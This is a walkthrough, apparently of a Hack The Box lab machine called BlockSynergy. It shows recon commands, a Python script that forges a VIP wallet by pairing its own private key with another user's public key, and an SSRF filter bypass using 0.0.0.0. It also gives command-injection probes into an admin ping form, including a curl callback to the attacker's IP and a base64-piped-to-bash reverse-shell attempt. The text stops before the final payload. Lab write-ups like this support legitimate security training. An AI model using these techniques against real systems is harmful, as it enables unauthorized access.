HTB

Hack The Box - HTB BlockSynergy Writeup - Insane - Weekly - August 29th, 2026

Hack The Box - HTB BlockSynergy  Writeup - Insane - Weekly - August 29th, 2026

Target: <TARGET_IP>
My VPN tunnel IP: <VPN_TUN_IP>

The placeholders I use throughout

Placeholder What it actually is
<TARGET_IP> The current BlockSynergy machine IP
<VPN_TUN_IP> Your HTB VPN tunnel IP
<SSH_KEY_FILE> The private key I generated for the hank foothold
<YOUR_SSH_PUBLIC_KEY> Its matching public key, with a unique comment
<FTP_PASSWORD> An FTP credential visible in a root backup process
<USER_FLAG> Contents of /home/walter/user.txt
<ROOT_FLAG> Contents of /root/root.txt
<NONCE> Any unique string, so you don't collide with other players on shared instances

0. Setting up my environment (and the MTU gotcha that cost me an hour)

My working folder looked like this:

BlockSynergy/
├── scans/       # nmap, fuzzing output
├── loot/        # wallets, SSH keys, cookies
├── exploits/    # exploit scripts
├── notes/       # running notes log
├── FLAGS.txt

Before anything else, one critical environment fix. The HTB VPN interface needs a reduced MTU:

sudo ip link set dev tun0 mtu 1300

Skip this and you'll burn real time. The symptom: SSH connects, prints the banner... and then the key exchange just dies. If you run ssh -vv, it stalls at expecting SSH2_MSG_KEX_ECDH_REPLY. The banner arrives fine because it's a small packet, which makes the whole thing look like an sshd or auth problem. It's not. Large KEX packets are being dropped because of the MTU. Ask me how I know.


1. Reconnaissance: two ports and a fragile Flask app

Standard nmap one-two punch:

sudo nmap -p- --min-rate 5000 -Pn <TARGET_IP>
nmap -Pn --top-ports 1000 -sV -sC <TARGET_IP>

And here's all there is:

22/tcp   open  ssh  OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
8080/tcp open  http Werkzeug httpd 3.1.3 (Python 3.12.3)

TTL 63 tells me it's Linux. The full 65535-port sweep shows only these two ports. So the entire attack surface is one Flask/Werkzeug app on 8080, calling itself "BlockSynergy – Decentralized Future."

Why aggressive fuzzing is a mistake here: the Werkzeug dev server is effectively single-threaded and, frankly, fragile. I threw a 50-thread ffuf at it and DoS'd the thing for about a minute — every other request timed out while it ran. After that I enumerated by hand, clicking through the app's own pages. It turned out to be faster anyway.

Mapping the app from the inside

Rather than brute-forcing paths, I just scraped the dashboard sidebar and the /dashboard/api page. Here's what the app happily tells you about itself:

  • Wallet stuff lives at /dashboard/wallet — POST action=create with a filename, or POST action=load with a file upload.
  • /dashboard/info, /txn, /txn_history, /pending_txn, /blockchain all require a wallet bound to your session — you get a 302 back to /dashboard otherwise.
  • VIP-gated pages: /dashboard/vip/nodes and /dashboard/vip/smart_contracts.
  • Every page ships JavaScript containing fetch('/dashboard/vip/nodes/test_node/' + nodeId). Remember that line — it's the future SSRF primitive.
  • There's a public JSON API: /blockchain, /nodes, /mining_data, /submit_block, /broadcast_transaction.

Probing /admin and /admin/nodes/manage directly gets you a bare 17-byte 403 Permission Denied. That's an IP-based allowlist — localhost only. I tried every header trick in the book (X-Forwarded-For, X-Real-IP, Forwarded, X-Forwarded-Host) and none of them bypass it. That might feel like a dead end, but it's actually a useful signal: the admin panel has to be reached through the server itself, not around it. SSRF is the way. This control probe matters later, too — it's what proves the SSRF crosses a real trust boundary instead of just echoing my own request back.

What I learned by poking the blockchain API

These all came from hands-on experimentation, and they shape the entire attack:

  • The block hash algorithm. I reverse-engineered it from the genesis block by trying candidate serializations until one reproduced the published hash:
    sha256(f"{index}{previous_hash}{timestamp}{json.dumps(data)}{nonce}")
    The data part uses Python's json.dumps with its default separators (spaces, double quotes). There's a nasty little trap here: Python's repr(data) produces single quotes and gives you the wrong hash. Only json.dumps matches. Get this wrong and every mining attempt you make is doomed from the start.
  • difficulty is the literal target prefix string "00000", not a number. Treat it as an int and prefix with "0" * difficulty, and you silently end up with an empty target — any hash "passes" locally, then the server rejects it or hangs.
  • Wallet crypto is ECDSA on NIST256p (P-256): a 32-byte private key, public key as raw x||y (64 bytes hex), signatures as r||s. I verified this by deriving a created wallet's public key from its private key. SECP256k1 fails with "point not on curve"; NIST256p matches.
  • The session cookie is a random server-side token, not a Flask signed cookie — flask-unsign can't even decode it. No session-forgery shortcut here.
  • /broadcast_transaction performs no validation whatsoever. An empty {} returns "Added!".

The warning that shaped the rest of my run: that empty {} I broadcast as an innocent probe? It landed in pending_transactions and crashed every page that renders pending data — HTTP 500 on /dashboard/pending_txn, and the VIP pages too — for every user on that instance. Combined with /submit_block hanging forever on valid blocks (more on that below), the instance was effectively poisoned and I had to reset it. Lesson learned the hard way: never submit malformed transactions to this app.

The mining dead end, in detail: with the hash algorithm cracked, I built valid proof-of-work blocks and submitted them to /submit_block. The behavior matrix:

  • malformed or mismatched block data → fast HTTP 500
  • valid PoW + data matching the current pending set → the connection hangs indefinitely (I let it run past 972 seconds); the chain never grows, even while the request hangs

So the block-commit path simply never returns. The auto-generated blocks stop after the box's first few minutes of uptime, pending stops growing, and mining is pure flavor text. The real road to VIP is the identity flaw in the next section.


2. Forging a VIP wallet without mining anything

The vulnerability

Three design flaws stack on top of each other:

  1. The public /blockchain endpoint exposes every historical transaction — so anyone can reconstruct the balance of every public key that has ever touched the chain.
  2. The wallet load endpoint accepts private_key and public_key as independent fields. It never checks that the public key is mathematically derived from the private key.
  3. The VIP gate trusts the balance of the loaded wallet's public_key.

You can probably see where this is going. Generate a fresh wallet so you hold a valid private key, find the richest address in chain history, and import a hybrid wallet: {our_private_key, richest_public_key}. The app binds that identity to your session and hands you VIP.

What doesn't work (I tested these so you don't have to)

  • Slapping "vip": true into the wallet JSON — the gate ignores it. 302 either way, on a healthy instance.
  • Loading a wallet with a forged "balance" field — balance is computed from the chain, not your file.
  • Mining — hangs forever, per the previous section.
  • Broadcasting a fake payment to yourself and leaning on pending transactions — the VIP balance check does count pending transactions, so this technically works on a fresh instance. But it pollutes the shared pending pool, and the fake coins vanish if a block ever commits. The historical-balance method is stable and touches nothing. Use that one.

The exploit

#!/usr/bin/env python3
import json
from collections import defaultdict
import requests

BASE = "http://<TARGET_IP>:8080"
session = requests.Session()
session.headers["User-Agent"] = "Mozilla/5.0"

# Create a legitimate local private key.
fresh = session.post(f"{BASE}/dashboard/wallet",
                     data={"action": "create", "filename": "fresh"},
                     timeout=20).json()

# Reconstruct balances from the public chain.
chain = session.get(f"{BASE}/blockchain", timeout=20).json()
balances = defaultdict(int)
for block in chain:
    for t in block.get("data", []):
        if not isinstance(t, dict) or "amount" not in t:
            continue
        amount = int(t["amount"])
        if t.get("receiver"):
            balances[t["receiver"]] += amount
        if t.get("sender") and t["sender"] != "Blockchain_Reward":
            balances[t["sender"]] -= amount

vip_pub, vip_bal = max(balances.items(), key=lambda kv: kv[1])
assert vip_bal >= 10, "no VIP-capable historical wallet found"

forged = {"private_key": fresh["private_key"], "public_key": vip_pub}
r = session.post(f"{BASE}/dashboard/wallet", data={"action": "load"},
                 files={"file": ("forged.json", json.dumps(forged), "application/json")},
                 timeout=20)
r.raise_for_status()
assert "Wallet loaded successfully" in r.text
print(f"VIP wallet loaded (balance={vip_bal})")

The VIP threshold turns out to be low — a balance under 100 was enough on my instance. One operational note: the VIP state is session-bound, so you must reuse the same requests.Session for everything after this, including the SSRF steps.


3. SSRF into the localhost-only admin panel

The primitive

VIP users get Node Management. You can register an arbitrary URL (POST /dashboard/vip/nodes, action=register&node=<url>), then have the server fetch it (GET /dashboard/vip/nodes/test_node/<id>) — and the response body gets rendered back to you in a modal. That's a full-read SSRF: whatever the server sees, you see.

The filter, and how to walk right past it

Registration runs through a filter whose name leaks in an error toast if you probe it with an IPv6 literal (http://[::1]:8080/...Error in is_internal_address: ...). It blocks 127.0.0.1, localhost, the decimal , and even the shorthand 127.1 — but it accepts 0.0.0.0:

http://127.0.0.1:8080/admin/nodes/manage  -> "Invalid URL or localhost!"
http://localhost:8080/admin/nodes/manage  -> "Invalid URL or localhost!"
http://0.0.0.0:8080/admin/nodes/manage    -> "Node registered!"
http://[::1]:8080/admin/nodes/manage      -> filter crashes, then rejected

From the server's own network namespace, connecting to 0.0.0.0 reaches localhost. It's a classic incomplete blocklist: they enumerated all the loopback spellings they could think of and forgot about the unspecified address.

Why the control pair matters: a direct request to /admin gives a 403; the same URL fetched through the SSRF returns the full "Admin Dashboard" HTML. Only the difference between those two results proves the SSRF actually crossed the localhost boundary.

Operational detail: node IDs are unstable

The nodes list gets evicted and reordered between requests — shared instances and cleanup routines mean the whole list can vanish mid-session (I watched it happen). Never assume list index equals ID. Resolve the ID from the VIP page by matching the exact URL row:

import html, re

def find_node_id(page, url):
    pairs = [(html.unescape(v), nid) for v, nid in
             re.findall(r'title="([^"]+)".*?testNode\(\'([0-9]+)\'\)', page, re.S)]
    return next(nid for v, nid in reversed(pairs) if v == url)

One more quirk: the nodes page's table body can render empty while /nodes still lists URLs. Trust the API and the testNode('N') handlers, not the visible table.

What the admin panel exposes

Through the SSRF I enumerated: /admin/blockchain (backup/restore with a filename parameter and an upload), /admin/blockchain/view, /admin/blockchain/validate, /admin/nodes/manage, /admin/nodes/add_node, /admin/txn/history, /admin/txn/pending, and /admin/system (a "Fetch Sysinfo" action). The money page is /admin/nodes/manage, which renders a Ping form per node:

action=ping_node & target=<node URL>

"Ping a target" in an admin panel almost always means ping <something> in a shell somewhere. That's a command-injection candidate if I've ever seen one.


4. Command injection through a URL-parser differential (foothold as walter)

My first attempts, and why they failed

The SSRF only issues GETs — it uses python-requests and always sends GET regardless of the method you send to test_node (I verified this by logging requests on a listener I registered as a node). So the action has to be encoded in the registered URL's query string:

http://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target=<payload>

Register that whole string as a node, fetch it via test_node, and you reach the ping logic — the manage route reads request.args, so GET works for the action even though the form is POST-shaped. Then came the payload experiments:

target= payload Result Conclusion
127.0.0.1 ~1s, empty <pre> baseline; ping output isn't captured or shown
$(sleep 3) ~4s injection confirmed, time-blind
$(sleep 2;sleep 2) ~4s spaces and semicolons survive
$(curl http://<VPN_TUN_IP>:9999/CANARY) 0s, no canary hit never executed
$(echo <b64>\|base64 -d\|bash) reverse shell nothing also never executed

See the pattern? Anything containing a second URL (http://...) inside target died silently. The reason is the other half of the core bug: ping_node doesn't hand the raw string to the shell — it parses the target as a URL first and extracts a component. An injected inner http:// makes the parser slice the string differently than the code assumes, and the shell never sees a coherent command. The sleeps survived because they happen to parse as hostname-ish tokens.

The working payload: parser differential + $IFS + base64

The fix exploits the fact that two different parsers see the same URL differently:

  • The registration validator parses the node URL and checks the hostname — so give it your external VPN IP, which passes cleanly.
  • The ping_node handler slices the same string differently (it consumes the userinfo/prefix portion), and that portion is what lands in the shell.

The payload structure: